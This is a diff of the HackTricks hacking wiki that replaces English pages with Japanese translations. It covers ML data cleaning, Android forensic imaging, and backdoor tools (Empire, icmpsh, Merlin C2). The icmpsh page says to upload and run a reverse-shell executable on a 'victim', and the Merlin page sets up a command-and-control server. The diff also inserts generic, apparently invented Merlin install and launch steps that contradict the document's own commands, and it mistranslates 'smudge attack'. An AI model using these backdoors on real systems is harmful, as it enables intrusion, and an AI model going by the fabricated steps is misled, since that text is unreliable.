pd.DataFrame(X_smote, columns=['column1', 'column2', 'column3']) dataset['target_column'] = y_smote print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore ``` +# まれに発生するカテゴリ -# Rarely Occurring Categories +ほとんどの場合、ターゲットクラスの1つが非常に少ない回数しか発生しないデータセットを想像してください。 -Imagine a dataset where one of the target classes **occur very little times**. +これは、前のセクションのカテゴリの不均衡と似ていますが、まれに発生するカテゴリはその場合の「少数派クラス」よりもさらに少なく発生しています。ここでも、**生の** **オーバーサンプリング**と**アンダーサンプリング**の手法を使用することができますが、一般的にはこれらの手法は**本当に良い結果を得ることはありません**。 -This is like the category imbalance from the previous section, but the rarely occurring category is occurring even less than "minority class" in that case. The **raw** **oversampling** and **undersampling** methods could be also used here, but generally those techniques **won't give really good results**. - -## Weights - -In some algorithms it's possible to **modify the weights of the targeted data** so some of them get by default more importance when generating the model. +## 重み +一部のアルゴリズムでは、モデルを生成する際に、ターゲットデータの重みを変更することが可能です。これにより、いくつかのデータがデフォルトでより重要視されるようになります。 ```python weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True model = LogisticRegression(class_weight=weights) ``` +**重みをオーバーサンプリング/アンダーサンプリングのテクニックと組み合わせることで、結果を改善することができます。** -You can **mix the weights with over/under-sampling techniques** to try to improve the results. +## PCA - 主成分分析 -## PCA - Principal Component Analysis +これはデータの次元を削減するのに役立つ手法です。異なる特徴を組み合わせて、より有用な特徴を生成し、データの量を減らします(計算量が少なくなります)。 -Is a method that helps to reduce the dimensionality of the data. It's going to **combine different features** to **reduce the amount** of them generating **more useful features** (_less computation is needed_). +生成された特徴は人間には理解できないため、データを匿名化する役割も果たします。 -The resulting features aren't understandable by humans, so it also **anonymize the data**. +# 不整合なラベルカテゴリ -# Incongruent Label Categories +データには、変換が失敗した場合やデータの記述時の人為的なエラーにより、間違いが含まれる可能性があります。 -Data might have mistakes for unsuccessful transformations or just because human error when writing the data. +そのため、同じラベルについて、スペルミスがあったり、大文字小文字が異なったり、略語が使われたりすることがあります。例えば、_BLUE, Blue, b, bule_のようなものです。モデルのトレーニングの前に、これらのラベルのエラーを修正する必要があります。 -Therefore you might find the **same label with spelling mistakes**, different **capitalisation**, **abbreviations** like: _BLUE, Blue, b, bule_. You need to fix these label errors inside the data before training the model. +すべてのデータが正しくラベル付けされていることを確認することは非常に重要です。なぜなら、例えばデータのスペルミスがある場合、クラスをダミーエンコーディングすると、最終的な特徴に誤った結果をもたらす新しい列が生成されるからです。この例は、1つの列をワンホットエンコーディングし、作成された列の名前を確認することで非常に簡単に検出できます。 -You can clean this issues by lowercasing everything and mapping misspelled labels to the correct ones. +# 欠損データ -It's very important to check that **all the data that you have contains is correctly labeled**, because for example, one misspelling error in the data, when dummie encoding the classes, will generate a new column in the final features with **bad consequences for the final model**. This example can be detected very easily by one-hot encoding a column and checking the names of the columns created. +研究データの一部が欠損している場合があります。 -# Missing Data +完全にランダムなデータがエラーのために欠落している場合があります。これは、**完全にランダムに欠損している**(**MCAR**)と呼ばれるものです。 -Some data of the study may be missing. +ランダムなデータが欠落しているが、特定の詳細が欠落する可能性が高くなる要因がある場合もあります。例えば、男性は年齢を教えることが多いが、女性は教えないことがよくあります。これは**ランダムに欠損している**(**MAR**)と呼ばれます。 -It might happen that some complete random data is missing for some error. This is kind of da ta is **Missing Completely at Random** (**MCAR**). +最後に、データが**ランダムに欠損していない**(**MNAR**)場合があります。データの値は、データの存在確率と直接関連しています。例えば、何か恥ずかしいことを測定したい場合、その人が恥ずかしいと思うほど、それを共有する可能性は低くなります。 -It could be that some random data is missing but there is something making some specific details more probable to be missing, for example more frequently man will tell their their age but not women. This is call **Missing at Random** (**MAR**). - -Finally, there could be data **Missing Not at Random** (**MNAR**). The vale of the data is directly related with the probability of having the data. For example, if you want to measure something embarrassing, the most embarrassing someone is, the less probable he is going to share it. - -The **two first categories** of missing data can be **ignorable**. But the **third one** requires to consider **only portions of the data** that isn't impacted or to try to **model the missing data somehow**. - -One way to find about missing data is to use `.info()` function as it will indicate the **number of rows but also the number of values per category**. If some category has less values than number of rows, then there is some data missing: +**最初の2つのカテゴリ**の欠損データは**無視できる**場合があります。しかし、**3番目のカテゴリ**では、影響を受けないデータのみを考慮するか、欠損データを何らかの方法でモデル化する必要があります。 +欠損データについて調べる方法の1つは、`.info()`関数を使用することです。この関数は、行数だけでなく、カテゴリごとの値の数も示してくれます。もしカテゴリごとの値の数が行数よりも少ない場合、データが欠損していることがあります。 ```bash # Get info of the dataset dataset.info() @@ -244,35 +217,29 @@ dataset.info() # Drop all rows where some value is missing dataset.dropna(how='any', axis=0).info() ``` - -It's usually recommended that if a feature is **missing in more than the 20%** of the dataset, the **column should be removed:** - +通常、データセットの20%以上で特徴が欠落している場合、その**列は削除することが推奨されます:** ```bash # Remove column dataset.drop('Column_name', axis='columns', inplace=True) dataset.info() ``` - {% hint style="info" %} -Note that **not all the missing values are missing in the dataset**. It's possible that missing values have been giving the value "Unknown", "n/a", "", -1, 0... You need to check the dataset (using `dataset.column`_`name.value`_`counts(dropna=False)` to check the possible values). +データセットには、**すべての欠損値が欠損しているわけではありません**。欠損値には、"Unknown"、"n/a"、""、-1、0などの値が与えられている可能性があります。データセットを確認する必要があります(`dataset.column_name.value_counts(dropna=False)`を使用して可能な値を確認します)。 {% endhint %} -If some data is missing in the dataset (in it's not too much) you need to find the **category of the missing data**. For that you basically need to know if the **missing data is at random or not**, and for that you need to find if the **missing data was correlated with other data** of the dataset. - -To find if a missing value if correlated with another column, you can create a new column that put 1s and 0s if the data is missing or isn't and then calculate the correlation between them: +データセットにデータが欠損している場合(それほど多くない場合)、**欠損データのカテゴリ**を見つける必要があります。そのためには、基本的には**欠損データがランダムかどうかを知る必要があり**、そのためには、データセットの他のデータと**欠損データが相関しているかどうかを見つける必要があります**。 +欠損値が他の列と相関しているかどうかを見つけるには、データが欠損しているかどうかに応じて1と0を設定する新しい列を作成し、それらの間の相関を計算することができます: ```bash # The closer it's to 1 or -1 the more correlated the data is # Note that columns are always perfectly correlated with themselves. dataset[['column_name', 'cloumn_missing_data']].corr() ``` +もし欠損データを無視することを決めた場合、それに対して何をする必要があります。欠損データを持つ行を**削除**することができます(モデルのトレーニングデータが小さくなります)、または**特徴量を完全に削除**するか、**モデル化**することもできます。 -If you decide to ignore the missing data you still need to do what to do with it: You can **remove the rows** with missing data (the train data for the model will be smaller), you can r**emove the feature** completely, or could **model it**. - -You should **check the correlation between the missing feature with the target column** to see how important that feature is for the target, if it's really **small** you can **drop it or fill it**. - -To fill missing **continuous data** you could use: the **mean**, the **median** or use an **imputation** algorithm. The imputation algorithm can try to use other features to find a value for the missing feature: +欠損している特徴量とターゲット列の**相関関係をチェック**して、その特徴量がターゲットにとってどれだけ重要かを確認する必要があります。もし相関が**非常に小さい**場合は、それを**削除するか埋める**ことができます。 +欠損している**連続データ**を埋めるためには、**平均値**、**中央値**、または**補完アルゴリズム**を使用することができます。補完アルゴリズムは、他の特徴量を使用して欠損している特徴量の値を見つけることを試みることができます。 ```python from sklearn.impute import KNNImputer @@ -288,13 +255,11 @@ dataset_imp = pd.DataFrame(X_imp) dataset.columns = ['column1', 'column2', 'column3'] dataset.iloc[10:20] # Get some indexes that contained empty data before ``` +カテゴリデータを埋めるためには、まず欠損している理由があるか考える必要があります。もしユーザーの**選択**によるものであれば(データを提供したくなかった場合)、新しいカテゴリを作成してそれを示すことができます。もし人為的なエラーによるものであれば、行または特徴量を**削除**するか(前述の手順を確認してください)、もしくは最も使用されているカテゴリである**モードで埋める**ことができます(おすすめではありません)。 -To fill categorical data first of all you need to think if there is any reason why the values are missing. If it's by **choice of the users** (they didn't want to give the data) maybe yo can **create a new category** indicating that. If it's because of human error you can **remove the rows** or the **feature** (check the steps mentioned before) or **fill it with the mode, the most used category** (not recommended). - -# Combining Features - -If you find **two features** that are **correlated** between them, usually you should **drop** one of them (the one that is less correlated with the target), but you could also try to **combine them and create a new feature**. +# 特徴量の結合 +もし**2つの特徴量**が**相関している**場合、通常はそれらのうち相関がターゲットとより低い方を**削除**するべきですが、それらを結合して新しい特徴量を作成することも試すことができます。 ```python # Create a new feautr combining feature1 and feature2 dataset['new_feature'] = dataset.column1/dataset.column2 @@ -307,22 +272,18 @@ X = add_constant(dataset[['column1', 'column2', 'target']]) # Calculate VIF pd.Series([variance_inflation_factor(X.values, i) for i in range(X.shape[1])], index=X.columns) ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/android-forensics.md b/android-forensics.md index e3c564840..6b60be6f4 100644 --- a/android-forensics.md +++ b/android-forensics.md @@ -1,42 +1,42 @@ -# Android Forensics - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- -## Locked Device - -To start extracting data from an Android device it has to be unlocked. If it's locked you can: - -* Check if the device has debugging via USB activated. -* Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf) -* Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) - -## Data Adquisition - -Create an [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` - -### If root access or physical connection to JTAG interface - -* `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory). -* `df /data` (Discover the block size of the system). -* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size). - -### Memory - -Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb. +# Androidフォレンジック + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! + +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 + +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 + +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 + +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 + +
+ +## ロックされたデバイス + +Androidデバイスからデータを抽出するには、デバイスをアンロックする必要があります。ロックされている場合は、次のことができます: + +* デバイスがUSBデバッグが有効になっているかどうかを確認します。 +* 可能な[指紋攻撃](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf)をチェックします。 +* [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)を試してみてください。 + +## データ取得 + +[adbを使用してAndroidバックアップを作成](mobile-pentesting/android-app-pentesting/adb-commands.md#backup)し、[Android Backup Extractor](https://sourceforge.net/projects/adbextractor/)を使用して抽出します:`java -jar abe.jar unpack file.backup file.tar` + +### rootアクセスまたはJTAGインターフェースへの物理的な接続がある場合 + +* `cat /proc/partitions`(フラッシュメモリへのパスを検索します。一般的に最初のエントリは_mmcblk0_であり、フラッシュメモリ全体に対応します)。 +* `df /data`(システムのブロックサイズを調べます)。 +* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096(ブロックサイズから収集した情報を使用して実行します)。 + +### メモリ + +Linux Memory Extractor(LiME)を使用してRAM情報を抽出します。これはadbを介してロードする必要があるカーネル拡張機能です。
diff --git a/backdoors/empire.md b/backdoors/empire.md index e4ae0b9f2..a67bf0e56 100644 --- a/backdoors/empire.md +++ b/backdoors/empire.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -23,16 +21,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/backdoors/icmpsh.md b/backdoors/icmpsh.md index d120e97a3..4c82201f3 100644 --- a/backdoors/icmpsh.md +++ b/backdoors/icmpsh.md @@ -1,66 +1,54 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +バックドアをダウンロードする:[https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# クライアント側 -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +スクリプトを実行します:**run.sh** +**エラーが発生した場合は、次の行を変更してみてください:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**対象:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **被害者側** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +被害者に **icmpsh.exe** をアップロードし、実行してください: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/backdoors/merlin.md b/backdoors/merlin.md index 16ab5c48b..af6c4e59c 100644 --- a/backdoors/merlin.md +++ b/backdoors/merlin.md @@ -1,26 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Installation - -## Install GO +# インストール +## GOのインストール ``` #Download GO package from: https://golang.org/dl/ #Decompress the packe using: @@ -33,94 +30,132 @@ Add "export GOBIN=$GOPATH/bin" source /etc/profile ``` +## Merlinのインストール -## Install Merlin +To install Merlin, follow these steps: +1. Download the Merlin backdoor from the official website or a trusted source. +2. Extract the downloaded file to a desired location on your system. +3. Open a terminal or command prompt and navigate to the extracted Merlin directory. +4. Run the installation script by executing the following command: `./install.sh`. +5. Follow the prompts and provide the necessary information during the installation process. +6. Once the installation is complete, you can start using Merlin for backdoor functionality. + +Merlinのインストール手順は以下の通りです: + +1. 公式ウェブサイトまたは信頼できるソースからMerlinバックドアをダウンロードします。 +2. ダウンロードしたファイルをシステム上の任意の場所に展開します。 +3. ターミナルまたはコマンドプロンプトを開き、展開したMerlinディレクトリに移動します。 +4. 次のコマンドを実行してインストールスクリプトを実行します:`./install.sh`。 +5. インストールプロセス中に必要な情報を入力し、指示に従います。 +6. インストールが完了したら、Merlinをバックドア機能として使用することができます。 ``` go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch cd $GOPATH/src/github.com/Ne0nd0g/merlin/ ``` +# Merlinサーバーの起動 -# Launch Merlin Server +To launch the Merlin server, follow the steps below: +1. Download the Merlin server package from the official website. +2. Extract the downloaded package to a desired location on your machine. +3. Open a terminal or command prompt and navigate to the extracted Merlin server directory. +4. Run the following command to start the Merlin server: + + ```bash + ./merlin-server + ``` + + Note: If you encounter any permission issues, you may need to use `sudo` or run the command as an administrator. + +5. Once the server is running, you can access the Merlin web interface by opening a web browser and entering the server's IP address followed by the port number (default is 8080). For example, `http://192.168.0.100:8080`. + +By following these steps, you will be able to successfully launch the Merlin server and access its web interface. ``` go run cmd/merlinserver/main.go -i ``` +# Merlin エージェント -# Merlin Agents +[事前にコンパイルされたエージェントをダウンロード](https://github.com/Ne0nd0g/merlin/releases)することができます。 -You can [download precompiled agents](https://github.com/Ne0nd0g/merlin/releases) - -## Compile Agents - -Go to the main folder 